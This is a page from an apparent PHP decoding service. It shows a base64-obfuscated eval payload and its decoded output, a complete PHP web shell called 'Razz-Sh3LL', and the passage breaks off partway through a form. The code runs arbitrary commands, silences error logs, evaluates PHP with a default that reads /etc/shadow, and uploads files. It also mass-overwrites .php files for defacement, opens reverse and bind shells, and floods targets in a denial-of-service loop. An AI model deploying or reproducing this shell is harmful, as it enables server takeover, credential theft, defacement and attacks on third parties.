Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHAgCgokdXNlciA9ICJSYXp6IjsgCiRwYXNzID0gInJhenp3YXJkei..

Decoded Output download

?>b'<?php 

$user = "Razz"; 
$pass = "razzwardz"; 

error_reporting(0); 
ini_set(\'max_execution_time\',0); 


// ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\ 

/**************** Defines *********************************/ 

$lock = "on"; // set this to off if you dont need the login page 
$tracebackFeature = "on"; // set this feature to enable email alerts 
$ownerEmail = "[email protected]"; // Change this to your email , This email is used to deliver tracebacks about your shell 
$url = (!empty($_SERVER[\'HTTPS\'])) ? "https://".$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'] : "http://".$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\']; 
$phpVersion=phpversion(); 
$self=$_SERVER["PHP_SELF"]; // Where am i 
$sm = @ini_get(\'safe_mode\'); 
$SEPARATOR = \'/\'; // Default Directory separator 
$os = "N/D"; 
if(stristr(php_uname(),"Windows")) 
{ 
        $SEPARATOR = \'\\'; 
        $os = "Windows"; 
} 
else if(stristr(php_uname(),"Linux")) 
{ 
        $os = "Linux"; 
} 


//*************************************************************/ 

// -------------- Traceback Functions 

function sendLoginAlert() 
{ 
    global $ownerEmail; 
    global $url; 
    $accesedIp = $_SERVER[\'REMOTE_ADDR\']; 
    $randomInt = rand(0,1000000);           # to avoid id blocking 
    $from = "[email protected]";  
     
    //echo $from; 
     
    if(function_exists(\'mail\')) 
    { 
        $subject = "Shell Accessed -- Razz-Sh3LL --"; 
        $message = " 
Hey Owner , 
         
        Your Shell(Madleet-Shell) located at $url was accessed by $accesedIp 
         
        If its not you :- 
         
        1. Please check if the shell is secured. 
        2. Change your user name and Password. 
        3. Check if lock is 0n! 
        and Kick that ****** out! 
         
        Thanking You 
         
Yours Faithfully 
Razz-Sh3LL
        "; 
        mail($ownerEmail,$subject,$message,\'From:\'.$from); 
    } 
} 

//--------------------------------------------------------- 


if(function_exists(\'session_start\') && $lock == \'on\') 
{ 
    session_start(); 
} 
else 
{ 
    // The lock will be set to \'off\' if the session_start fuction is disabled i.e if sessions are not supported  
    $lock = \'off\'; 
} 

//logout 

if(isset($_GET[\'logout\']) && $lock == \'on\') 
{ 
    $_SESSION[\'authenticated\'] = 0; 
    session_destroy(); 
    header("location: ".$_SERVER[\'PHP_SELF\']); 
} 

ini_set(\'max_execution_time\',0); 



/***************** Restoring *******************************/ 


ini_restore("safe_mode_include_dir"); 
ini_restore("safe_mode_exec_dir"); 
ini_restore("disable_functions"); 
ini_restore("allow_url_fopen"); 
ini_restore("safe_mode"); 
ini_restore("open_basedir"); 

if(function_exists(\'ini_set\')) 
{ 
    ini_set(\'error_log\',NULL);  // No alarming logs 
    ini_set(\'log_errors\',0);    // No logging of errors 
    ini_set(\'file_uploads\',1);  // Enable file uploads 
    ini_set(\'allow_url_fopen\',1);   // allow url fopen  
} 

else 
{ 
    ini_alter(\'error_log\',NULL); 
    ini_alter(\'log_errors\',0); 
    ini_alter(\'file_uploads\',1); 
    ini_alter(\'allow_url_fopen\',1); 
} 

// ---------------------------------------------------------------------------------------------------------------- 


?> 
<html> 
<head> 
<title>"Razz-Sh3LL" | MRX | Dz</title> 


<style> 

/* 
==========================     
    CSS Section 
========================== 
*/ 

*{ 
    padding:0; 
    margin:0; 
} 

.alert 
{ 
    background:red; 
    color:white; 
    font-weight:bold; 
} 
td.info 
{ 
    width:0px; 
} 

.bind  
{ 
    border: 1px solid #333333; 
    margin: 15px auto 0; 
    font-size: small; 
} 

div.end * 
{ 
    font-size:small; 
} 

div.end  
{ 
    width:100%; 
    background:#222; 
} 

p.blink 
{ 
    text-decoration: blink; 
} 

body  
{ 
    background-color:black; 
    color:rgb(35,182,39); 
    font-family:Tahoma,Verdana,Arial; 
    font-size: small; 
} 

input.own { 
    background-color: #004848; 
    color: white; 
    border : 1px solid #FF0000; 
} 

blockquote.small 
{ 
    font-size: smaller; 
    color: silver; 
    text-align: center; 
} 

table.files 
{ 
    border-spacing: 10px; 
    font-size: small; 
} 

h1 { 
    padding: 4px; 
    padding-bottom: 0px; 
    margin-right : 5px; 
} 
div.logo 
{ 
    border-right: 1px #19d0d0; 
} 
div.header 
{ 
    padding-left: 5px; 
    font-size: small; 
    text-align: left; 
} 
div.nav 
{ 
    margin-top:1px; 
    height:30px; 
    background-color: #FF0000; 
} 
div.nav ul 
{ 
    list-style: none; 
    padding: 4px; 
} 
div.nav li 
{ 
    float: left; 
    margin-right: 10px; 
    text-align:center; 
} 
textarea.cmd 
{ 
    border : 1px solid #111; 
    background-color : #004848; 
    font-family: Shell; 
    color : white; 
    margin-top: 10px; 
    font-size:small; 
} 

input.cmd 
{ 
    background-color:black; 
    color: white; 
    width: 400px; 
    border : 1px solid #FF0000; 

} 
td.maintext 
{ 
    font-size: large; 
} 
#margins 
{ 
    margin-left: 10px; 
    margin-top: 10px; 
    color:white; 
} 
table.top 
{ 
    border-bottom: 1px #16f601; 
    width: 100%; 
} 
#borders 
{ 
    border-top : 1px #16f601; 
    border-left:1px #16f601; 
    border-bottom: 1px #16f601; 
    border-right: 1px #16f601; 
    margin-bottom:0; 
} 
td.file a , .file a 
{ 
    color : aqua; 
    text-decoration:none; 
} 
a.dir 
{ 
    color:white; 
    font-weight:bold; 
    text-decoration:none; 
} 
td.dir a 
{ 
    color : white; 
    text-decoration:none; 
} 
td.download,td.download2 
{ 
    color:#004848; 
} 
#spacing 
{ 
    padding:10px; 
    margin-left:200px; 
} 
th.header 
{ 
    background: none repeat scroll 0 0 #191919; 
    color: white; 
    border-bottom : 1px solid #333333; 
} 
p.warning 
{ 
    background : red; 
    color: white; 
} 

/* 

--------------------------------CSS END------------------------------------------------------ 

*/ 
</style> 
</head> 

<body text="rgb(39,245,10)" bgcolor="black"> 
<?php 

if(isset($_POST[\'user\']) && isset($_POST[\'pass\']) && $lock == \'on\') 
{ 
    if( $_POST[\'user\'] == $user && 
         $_POST[\'pass\'] == $pass ) 
    { 
            $_SESSION[\'authenticated\'] = 1; 
            // --------------------- Tracebacks -------------------------------- 
            if($tracebackFeature == \'On\') 
            { 
                sendLoginAlert(); 
            } 
            // ------------------------------------------------------------------ 
    } 
} 

if($lock == \'off\') 
{?> 
    <p class="warning"><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></p> 
<?php 
} 

if($lock == \'on\' && (!isset($_SESSION[\'authenticated\']) || $_SESSION[\'authenticated\']!=1) ) 
{ 

?> 
<table> 
    <tbody> 
        <tr>
             
        <pre> 
<center><font color="Orange"> 
<b><title>[!] Razz - SheLL</title>
<link href=\'http://fonts.googleapis.com/css?family=Iceland\' rel=\'stylesheet\' type=\'text/css\'>
<style>body{cursor:url("../www.madleets.com/elhacker.cur"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}</style>
<center><img src="https://i.top4top.io/p_26761zls71.png" alt="logo">
<br><br><br>
<body bgcolor=\'black\'>
<font face="Iceland" style="color:red;text-shadow:0px 1px 5px #000;font-size:60px">[!]Official Razz SheLL</font>
</center>
<br>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"></font> </center>
</b> 
</pre> 
            </td> 
           
                <!-- <h1><?php // echo $greeting;?></h1>  
                <img src="Logo_03.png" class="imageForm" /> --> 
                <form method="POST" action="<?php echo $_SERVER[\'PHP_SELF\'];?>"> 
                <input name="user" value="Username"/> <input name="pass" type="password" value="Password"/> <input class="own" type="Submit" value="Own This Box!"/> 
                </form> 
            </td> 
        </tr> 
    </tbody> 
</table> 
<?php 
} 
//---------------------------------- We are authenticated now------------------------------------- 
//Launch the shell 
else  
{ 
    //---------------------------------- Fuctions --------------------------------------------------- 

    function showDrives() 
    { 
        global $self; 
        foreach(range(\'A\',\'Z\') as $drive) 
        { 
            if(is_dir($drive.\':\\')) 
            { 
                ?> 
                <a class="dir" href=\'<?php echo $self ?>?dir=<?php echo $drive.":\"; ?>\'> 
                    <?php echo $drive.":\" ?> 
                </a>  
                <?php 
            } 
        } 
    } 

    function HumanReadableFilesize($size) 
    { 
  
        $mod = 1024; 
  
        $units = explode(\' \',\'B KB MB GB TB PB\'); 
        for ($i = 0; $size > $mod; $i++)  
        { 
            $size /= $mod; 
        } 
  
        return round($size, 2) . \' \' . $units[$i]; 
    } 

function getClientIp() 
{ 
    echo $_SERVER[\'REMOTE_ADDR\']; 
} 

function getServerIp() 
{ 
    echo getenv(\'SERVER_ADDR\'); 
} 
function getSoftwareInfo() 
{ 
    echo php_uname(); 
} 
function diskSpace() 
{ 
    echo HumanReadableFilesize(disk_total_space("/")); 
} 
function freeSpace() 
{ 
    echo HumanReadableFilesize(disk_free_space("/")); 
} 
function getSafeMode() 
{ 
        global $sm; 
        echo($sm?"ON :( :\'( (Most of the Features will Not Work!)":"OFF"); 
         
} 

function getDisabledFunctions() 
{ 
    if(!ini_get(\'disable_functions\')) 
    { 
        echo "None"; 
    } 
    else 
    { 
            echo @ini_get(\'disable_functions\'); 
    } 
} 

function getFilePermissions($file) 
{ 
     
$perms = fileperms($file); 

if (($perms & 0xC000) == 0xC000) { 
    // Socket 
    $info = \'s\'; 
} elseif (($perms & 0xA000) == 0xA000) { 
    // Symbolic Link 
    $info = \'l\'; 
} elseif (($perms & 0x8000) == 0x8000) { 
    // Regular 
    $info = \'-\'; 
} elseif (($perms & 0x6000) == 0x6000) { 
    // Block special 
    $info = \'b\'; 
} elseif (($perms & 0x4000) == 0x4000) { 
    // Directory 
    $info = \'d\'; 
} elseif (($perms & 0x2000) == 0x2000) { 
    // Character special 
    $info = \'c\'; 
} elseif (($perms & 0x1000) == 0x1000) { 
    // FIFO pipe 
    $info = \'p\'; 
} else { 
    // Unknown 
    $info = \'u\'; 
} 

// Owner 
$info .= (($perms & 0x0100) ? \'r\' : \'-\'); 
$info .= (($perms & 0x0080) ? \'w\' : \'-\'); 
$info .= (($perms & 0x0040) ? 
            (($perms & 0x0800) ? \'s\' : \'x\' ) : 
            (($perms & 0x0800) ? \'S\' : \'-\')); 

// Group 
$info .= (($perms & 0x0020) ? \'r\' : \'-\'); 
$info .= (($perms & 0x0010) ? \'w\' : \'-\'); 
$info .= (($perms & 0x0008) ? 
            (($perms & 0x0400) ? \'s\' : \'x\' ) : 
            (($perms & 0x0400) ? \'S\' : \'-\')); 

// World 
$info .= (($perms & 0x0004) ? \'r\' : \'-\'); 
$info .= (($perms & 0x0002) ? \'w\' : \'-\'); 
$info .= (($perms & 0x0001) ? 
            (($perms & 0x0200) ? \'t\' : \'x\' ) : 
            (($perms & 0x0200) ? \'T\' : \'-\')); 

return $info; 

} 

/***********************************************************/ 
// exec_all , A function used to execute commands , This function will only execute if the Safe Mode is 
// Turned OfF! 
/**********************************************************/ 


function exec_all($command) 
{ 
     
    $output = \'\'; 
    if(function_exists(\'exec\')) 
    {    
        exec($command,$output); 
        $output = join("
",$output); 
    } 
     
    else if(function_exists(\'shell_exec\')) 
    { 
        $output = shell_exec($command); 
    } 
     
    else if(function_exists(\'popen\')) 
    { 
        $handle = popen($command , "r"); // Open the command pipe for reading 
        if(is_resource($handle)) 
        { 
            if(function_exists(\'fread\') && function_exists(\'feof\')) 
            { 
                while(!feof($handle)) 
                { 
                    $output .= fread($handle, 512); 
                } 
            } 
            else if(function_exists(\'fgets\') && function_exists(\'feof\')) 
            { 
                while(!feof($handle)) 
                { 
                    $output .= fgets($handle,512); 
                } 
            } 
        } 
        pclose($handle); 
    } 
     
     
    else if(function_exists(\'system\')) 
    { 
        ob_start(); //start output buffering 
        system($command); 
        $output = ob_get_contents();    // Get the ouput  
        ob_end_clean();                 // Stop output buffering 
    } 
     
    else if(function_exists(\'passthru\')) 
    { 
        ob_start(); //start output buffering 
        passthru($command); 
        $output = ob_get_contents();    // Get the ouput  
        ob_end_clean();                 // Stop output buffering             
    } 
     
    else if(function_exists(\'proc_open\')) 
    { 
        $descriptorspec = array( 
                1 => array("pipe", "w"),  // stdout is a pipe that the child will write to 
                ); 
        $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array \'pipes\' 
        if(is_resource($handle)) 
        { 
            if(function_exists(\'fread\') && function_exists(\'feof\')) 
            { 
                while(!feof($pipes[1])) 
                { 
                    $output .= fread($pipes[1], 512); 
                } 
            } 
            else if(function_exists(\'fgets\') && function_exists(\'feof\')) 
            { 
                while(!feof($pipes[1])) 
                { 
                    $output .= fgets($pipes[1],512); 
                } 
            } 
        } 
        pclose($handle); 
    } 
    else 
    { 
        $output = "They have their Security there! :( "; 
    } 
     
    return(htmlspecialchars($output)); 
     
} 
function magicQuote($text) 
{ 
    if (!get_magic_quotes_gpc()) 
    { 
        return $text; 
    } 
    return stripslashes($text); 
} 
//------------------------------------------------------------------------------------------------ 


?> 

<table class="top"> 
    <tbody> 
        <tr> 
            <td> 
            <div class="logo"> 
                <h1><link href=\'http://fonts.googleapis.com/css?family=Iceland\' rel=\'stylesheet\' type=\'text/css\'>
<style>body{cursor:url("../www.madleets.com/elhacker.cur"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}</style>
<center><img src="https://i.imgur.com/ShgwsUm.jpg" alt="logo">
</center>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"></h1><blockquote class="small">Shell</blockquote> 
                 
            </div> 
            </td> 
            <td> 
            <div class="header"> 
            <?php getSoftwareInfo(); ?><br /> 
Your IP : <?php getClientIp(); ?> <font color="silver" >|</font> Server IP : <?php getServerIp();?> <br /> 
            Safe Mode : <?php getSafeMode(); ?><br /> 
            <?php if($os == \'Windows\'){ echo showDrives();} ?> <?php echo getcwd();?> 
            </div> 
            </td> 
        </tr> 
    </tbody> 
</table> 
<div class="header" id="borders"> 
            Server ADMIN: <?php echo $_SERVER[\'SERVER_ADMIN\'];?> <font color="silver" >|</font> 
            PHP VERSION : <?php echo $phpVersion; ?> <font color="silver" >|</font> 
            Curl : <?php echo function_exists(\'curl_version\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font> 
            Oracle : <?php echo function_exists(\'ocilogon\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font> 
            MySQL : <?php  echo function_exists(\'mysql_connect\')?("<font color=\'red\'>Enabled</font>"):("Disabled");?> <font color="silver" >|</font> 
            MSSQL : <?php echo function_exists(\'mssql_connect\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font> 
            PostgreSQL : <?php echo function_exists(\'pg_connect\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font> 
            Disable functions : <?php getDisabledFunctions(); ?> <font color="silver" >|</font> 
            Space : <?php diskSpace(); ?> <font color="silver" >|</font> 
            Free : <?php freeSpace(); ?> 
        </table> 
</div> 
<div class="nav"> 
<ul> 
    <li><a href="<?php echo $self;?>">Home</a></li> 
    <li><a href="<?php echo $self.\'?upload\';?>">Upload</a></li> 
    <li><a href="<?php echo $self.\'?shell\';?>">Shell</a></li> 
    <li><a href="<?php echo $self.\'?dos\';?>">DDoS</a></li> 
    <li><a href="<?php echo $self.\'?fuzz\';?>">Web-Server Fuzzer</a></li> 
    <li><a href="<?php echo $self.\'?mail\'?>">Mass Mailer</a></li> 
    <li><a href="<?php echo $self.\'?bomb\'?>">Mail Bomber</a></li> 
    <li><a href="<?php echo $self.\'?connect\'?>">Connect</a></li> 
    <li><a href="<?php echo $self.\'?injector\'?>">Mass Code Injector</a></li> 
    <li><a href="<?php echo $self.\'?decode\'?>">PHP Decoder</a></li> 
    <li><a href="<?php echo $self.\'?eval\'?>">PHP Evaluate</a></li> 

    <?php if($lock == \'on\') 
    { 
    ?> 
        <li><a href="<?php echo $self.\'?logout\'?>">I m Out!</a></li> 
    <?php 
    } 
    ?> 
</ul> 
</div> 

<?php 
//-------------------------------- Check what he wants ------------------------------------------- 

// Shell 

if(isset($_GET[\'shell\'])) 
{ 
    if(!isset($_GET[\'cmd\']) || $_GET[\'cmd\'] == \'\') 
    { 
        $result = "";     
    } 
    else 
    { 
        $result=exec_all($_GET[\'cmd\']); 
    } 
    ?> 
    <textarea class="cmd" cols="100" rows="20"><?php echo $result;?></textarea><br /><br /> 
    <form action="<?php echo $self;?>" method="GET"> 
    <!-- For Shell --> 
    <input name="shell" type="hidden" /> 
    <!-- For CMD --> 
    <input name="cmd" class="cmd" /> 
    <input name="submit" value="Spin That Shit!" class="own" type="submit" /> 
    </form> 
    <?php 
} 


// PHP evaluate 

else if(isset($_GET[\'eval\'])) 
{ 
    ?> 
    <form method="POST"> 
    <textarea name="code" class="cmd" cols="100" rows="20"><?php 
    // If the comand was sent 
    if(isset($_POST[\'code\']) 
        && $_POST[\'code\'] 
    ) 
    { 
        // FIlter Some Chars we dont need 

        $code = str_replace("<?php","",$_POST[\'code\']); 
        $code = str_replace("<?","",$code); 
        $code = str_replace("?>","",$code); 

        // Evaluate PHP CoDE! 

        htmlspecialchars(eval($code)); 
    } 
    else 
    { 
        ?>echo file_get_contents(\'/etc/shadow\');<?php 
    } 
    ?></textarea><br /><br /> 
    <input name="submit" value="Eval That COde! :D" class="own" type="submit" /> 
    </form> 
    <?php 
     
} 

// Upload 

else if(isset($_GET[\'upload\'])) 
{ 

    if (isset($_POST[\'file\']) && 
        isset($_POST[\'path\'])  
     ) 
    { 
        $path = $_POST[\'path\']; 
             
        if($path[(strlen($path)-1)] != $SEPARATOR){$path = $path.$SEPARATOR;} 
         
        if(is_dir($path)) 
        { 
            $uploadedFilePath = $_FILES[\'file\'][\'name\']; 
            $tempName = $_FILES[\'file\'][\'tmp_name\']; 
            $uploadPath = $path .  $uploadedFilePath; 
            $stat = move_uploaded_file($tempName , $uploadedFilePath); 
            if ($stat) 
            { 
                echo "<p class=\'warning\'>File uploaded to $uploadPath</p>"; 
            } 
            else 
            { 
                echo "<p class=\'warning\' > :( :\'( Failed to upload file to $uploadPath</p>"; 
            } 
         } 
    } 
    else 
    { 
    ?> 
    <table class="bind" align="center" > 
    <tr> 
        <th class="header" colspan="1" width="50px">Upload (From ur Computer)</th> 
    </tr> 
    <tr> 
         <td> 
            <table style="border-spacing: 6px;"> 
                <form method="POST" enctype="multipart/form-data"> 
                 
                <tr> 
                    <td width="100"><input type="file" name="file"/></td> 
                    <td><input type="submit" name="file" class="own" value="Upload"/></td> 
             
                </tr> 
                 
                 <tr> 
                    <td colspan="2"> 
                        <input class=\'cmd\' style="width: 280px;" name=\'path\' value="<?php echo getcwd(); ?>" />    
                    </td> 
                </tr> 
                 
                </form> 
            </table> 
         </td> 
    </tr> 
    </table> 
<?php 
    } 

} 

// Code Injector 

else if(isset($_GET[\'injector\'])) 
{ 
    if(isset($_GET[\'dir\']) && 
    $_GET[\'dir\'] != \'\' && 
    isset($_GET[\'filetype\']) && 
    $_GET[\'filetype\'] != \'\' && 
    isset($_GET[\'mode\']) && 
    $_GET[\'mode\'] != \'\' &&  
    isset($_GET[\'message\']) && 
    $_GET[\'message\'] != \'\'  
    ) 
    { 
        $dir = $_GET[\'dir\']; 
        $filetype = $_GET[\'filetype\']; 
        $message = $_GET[\'message\']; 
         
        $mode = "a"; //default mode 
         
         
        // Modes Begin 
         
        if($_GET[\'mode\'] == \'Apender\') 
        { 
            $mode = "a"; 
        } 
        if($_GET[\'mode\'] == \'Overwriter\') 
        { 
            $mode = "w"; 
        } 
         
        if($handle = opendir($dir)) 
        { 
            ?> 
            Overwritten Files :- 
            <ul style="padding: 10px;" > 
            <?php 
            while(($file = readdir($handle)) !== False) 
            { 
                if((preg_match("/$filetype".\'$\'.\'/\', $file , $matches) != 0) && (preg_match(\'/\'.$file.\'$/\', $self , $matches) != 1)) 
                { 
                    ?> 
                        <li class="file"><a href="<?php echo "$self?open=$dir$file"?>"><?php echo $file; ?></a></li> 
                    <?php 
                    echo "
"; 
                    $fd = fopen($dir.$file,$mode); 
                    fwrite($fd,$message); 
                } 
            } 
            ?> 
            </ul> 
            <?php 
        } 
    } 
    else 
    { 
        ?> 
        <table id="margins" > 
        <tr> 
            <form method=\'GET\'> 
            <input type="hidden" name="injector"/>   
                <tr> 
                    <td width="100" class="title"> 
                        Directory 
                    </td> 
                    <td> 
                         <input class="cmd" name="dir" value="<?php echo getcwd().$SEPARATOR; ?>" /> 
                    </td> 
                </tr> 
                <tr> 
                <td class="title"> 
                    Mode 
                </td> 
                <td> 
                        <select style="width: 400px;" name="mode" class="cmd"> 
                            <option value="Apender">Apender</option> 
                            <option value="Overwriter">Overwriter</option> 
                        </select> 
                </td> 
                </tr> 
                <tr> 
                    <td class="title"> 
                        File Type 
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="filetype" value=".php" onblur="if(this.value==\'\')this.value=\'.php\';" /> 
                    </td> 
                </tr> 
                 
                 
                <tr> 
                    <td colspan="2"> 
                        <textarea name="message" cols="173" rows="10" class="cmd">All i remember are those lonely nights when i was defacing those insecure websites!</textarea> 
                    </td> 
                </tr> 
                 
                 
                <tr> 
                    <td rowspan="2"> 
                        <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Inject :D"/> 
                    </td> 
                </tr> 
        </form> 
        </table> 
        <?php 
    } 
} 
// Connect 

else if(isset($_GET[\'connect\'])) 
{ 
    if(isset($_POST[\'ip\']) && 
     isset($_POST[\'port\']) &&  
        $_POST[\'ip\'] != "" && 
        $_POST[\'port\'] != "" 
     ) 
    { 
        echo "<p>The Program is now trying to connect!</p>"; 
        $ip = $_POST[\'ip\'];  
        $port=$_POST[\'port\'];  
        $sockfd=fsockopen($ip , $port , $errno, $errstr );  
        if($errno != 0) 
        { 
            echo "<font color=\'red\'><b>$errno</b> : $errstr</font>"; 
        } 
        else if (!$sockfd) 
        {  
               $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>"; 
        }  
        else 
        {  
            fputs ($sockfd ,"
=================================================================
ClayTeam-Shell | C0d3d by WhoAmi | Tunisia
================================================================="); 
         $pwd = exec_all("pwd"); 
         $sysinfo = exec_all("uname -a"); 
         $id = exec_all("id"); 
         $dateAndTime = exec_all("time /t & date /T"); 
         $len = 1337; 
         fputs($sockfd ,$sysinfo . "
" ); 
         fputs($sockfd ,$pwd . "
" ); 
         fputs($sockfd ,$id ."

" ); 
         fputs($sockfd ,$dateAndTime."

" ); 
         while(!feof($sockfd)) 
         {   
            $cmdPrompt ="(ClayTeaM-Shell)[$]> "; 
            fputs ($sockfd , $cmdPrompt );  
            $command= fgets($sockfd, $len); 
            fputs($sockfd , "
" . exec_all($command) . "

"); 
        }  
        fclose($sockfd);  
        }  
    } 
    else if( 
    isset($_POST[\'port\']) && 
    isset($_POST[\'passwd\']) &&  
    $_POST[\'port\'] != "" && 
    $_POST[\'passwd\'] != ""  ) 
    { 
        // Set time limit to indefinite execution 
        set_time_limit (0); 
         
         
        // Set the ip and port we will listen on 
        $address = \'127.0.0.1\'; 
        $port = $_POST[\'port\']; 
        $pass = $_POST[\'passwd\']; 

        if(function_exists("socket_create")) 
        { 
        // Create a TCP Stream socket 
        $sockfd = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); 

       
        // Bind the socket to an address/port 
         
         
        if(socket_bind($sockfd, $address, $port) == FALSE) 
        { 
            echo "Cant Bind to the specified port and address!"; 
        } 
        // Start listening for connections 
        socket_listen($sockfd,15); 
         
     
        $passwordPrompt = "
=================================================================
ClayTeam-Shell | C0d3d by WhoAmi | Tunisia
=================================================================

0xPassword : "; 
         
        /* Accept incoming requests and handle them as child processes */ 
        $client = socket_accept($sockfd); 
         

        socket_write($client , $passwordPrompt); 
        // Read the pass from the client 
        $input = socket_read($client, strlen($pass) + 2); // +2 for 
 
        if(trim($input) == $pass) 
        { 
            socket_write($client , "

"); 
            socket_write($client , ($os == "Windows") ? exec_all("date /t & time /t")  . "
" . exec_all("ver") : exec_all("date") . "
" . exec_all("uname -a")); 
            socket_write($client , "

"); 
            while(1) 
            { 
                // Print Command prompt 
                $commandPrompt ="(Madleet-Shell)[$]> "; 
                $maxCmdLen = 31337; 
                socket_write($client,$commandPrompt); 
                $cmd = socket_read($client,$maxCmdLen); 
                if($cmd == FALSE) 
                { 
                    echo "The client Closed the conection!"; 
                    break; 
                } 
                socket_write($client , exec_all($cmd)); 
            } 
        } 
        else 
        { 
            echo "Wrong Password!"; 
            socket_write($client, "sU(|< - 0FF Bitch!

"); 
        } 
        socket_shutdown($client, 2); 
        socket_close($socket); 
         
        // Close the client (child) socket 
        //socket_close($client); 
        // Close the master sockets 
        //socket_close($sock); 
        } 
        else 
        { 
            echo "Socket Conections not Allowed/Supported by the server! <br />"; 
        } 
    } 
    else 
    { 
    ?>        
    <table class="bind" align="center" > 
    <tr> 
        <th class="header" colspan="1" width="50px">Back Connect</th> 
        <th class="header" colspan="1" width="50px">Bind Shell</th> 
    </tr> 
    <tr> 
        <form method=\'POST\' >   
         <td> 
            <table style="border-spacing: 6px;"> 
                <tr> 
                    <td>IP </td> 
                    <td> 
                        <input style="width: 200px;" class="cmd" name="ip" value="<?php getClientIp();?>" /> 
                    </td> 
                </tr> 
                <tr> 
                    <td>Port </td> 
                    <td><input style="width: 100px;" class="cmd" name="port" size=\'5\' value="31337"/>&nbsp;&nbsp;<input style="width: 90px;" class="own" type="submit" value="Connect!"/></td> 
                </tr> 
            </table> 
         </td> 
         </form>  
         <form method="POST"> 
         <td> 
            <table style="border-spacing: 6px;"> 
                <tr> 
                    <td>Port</td> 
                    <td> 
                        <input style="width: 200px;" class="cmd" name="port" value="1337" /> 
                    </td> 
                </tr> 
                <tr> 
                    <td>Passwd </td> 
                    <td><input style="width: 100px;" class="cmd" name="passwd" size=\'5\' value="Madleet"/>&nbsp;&nbsp;<input style="width: 90px;" class="own" type="submit" value="Bind :D!"/></td> 
                </tr> 
            </table> 
         </td> 
         </form> 
    </tr> 
    </table> 
    <p align="center" style="color: red;" >Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p> 
<?php 
    } 
} 

//fuzzer 

else if(isset($_GET[\'fuzz\'])) 
{ 
    if(isset($_GET[\'ip\']) && 
    isset($_GET[\'port\']) && 
    isset($_GET[\'times\']) && 
    isset($_GET[\'time\']) && 
    isset($_GET[\'message\']) && 
    isset($_GET[\'messageMultiplier\']) && 
    $_GET[\'message\'] != "" && 
    $_GET[\'time\'] != "" && 
    $_GET[\'times\'] != "" && 
    $_GET[\'port\'] != "" && 
    $_GET[\'ip\'] != "" && 
    $_GET[\'messageMultiplier\'] != "" 
    ) 
    { 
       $IP=$_GET[\'ip\']; 
       $port=$_GET[\'port\']; 
       $times = $_GET[\'times\']; 
       $timeout = $_GET[\'time\']; 
       $send = 0; 
       $ending = ""; 
       $multiplier = $_GET[\'messageMultiplier\']; 
       $data = ""; 
       $mode="tcp"; 
       $data .= "GET /"; 
       $ending .= " HTTP/1.1




"; 
        if($_GET[\'type\'] == "tcp") 
        { 
            $mode = "tcp"; 
        } 
        while($multiplier--) 
        { 
            $data .= urlencode($_GET[\'message\']); 
        } 
        $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers 
        $data .= "by-Madleet-shell".$ending; 
        $length = strlen($data); 
         
         
       echo "Sending Data :- <br /> <p align=\'center\'>$data</p>"; 
         
       print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>"; 
       for($i=0;$i<$times;$i++) 
       { 
            $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout); 
            if($socket) 
            { 
                fwrite($socket , $data , $length ); 
                fclose($socket); 
            } 
        } 
        echo "<script>alert(\'Fuzzing Completed!\');</script>"; 
        echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />"; 
        echo "Total Number of Packets Sent : " . $times . "<br />"; 
        echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";  
        echo "Data per packet = " . HumanReadableFilesize($length) . "<br />"; 
    } 
    else 
    { 
        ?> 
        <form method="GET"> 
            <input type="hidden" name="fuzz" /> 
            <table id="margins"> 
                <tr> 
                    <td width="400" class="title"> 
                        IP 
                    </td> 
                    <td> 
                        <input class="cmd" name="ip" value="127.0.0.1" onfocus="if(this.value == \'127.0.0.1\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'127.0.0.1\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        Port 
                    </td> 
                    <td> 
                        <input class="cmd" name="port" value="80" onfocus="if(this.value == \'80\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'80\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        Timeout 
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="time" value="5" onfocus="if(this.value == \'5\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'5\';"/> 
                    </td> 
                </tr> 
                 
                 
                <tr> 
                    <td class="title"> 
                        No of times 
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="times" value="100" onfocus="if(this.value == \'100\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'100\';" /> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        Message <font color="red">(The message Should be long and it will be multiplied with the value after it)</font> 
                    </td> 
                    <td> 
                        <input class="cmd" name="message" value="%S%x--Some Garbage here --%x%S" onfocus="if(this.value == \'%S%x--Some Garbage here --%x%S\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'%S%x--Some Garbage here --%x%S\';"/> 
                    </td> 
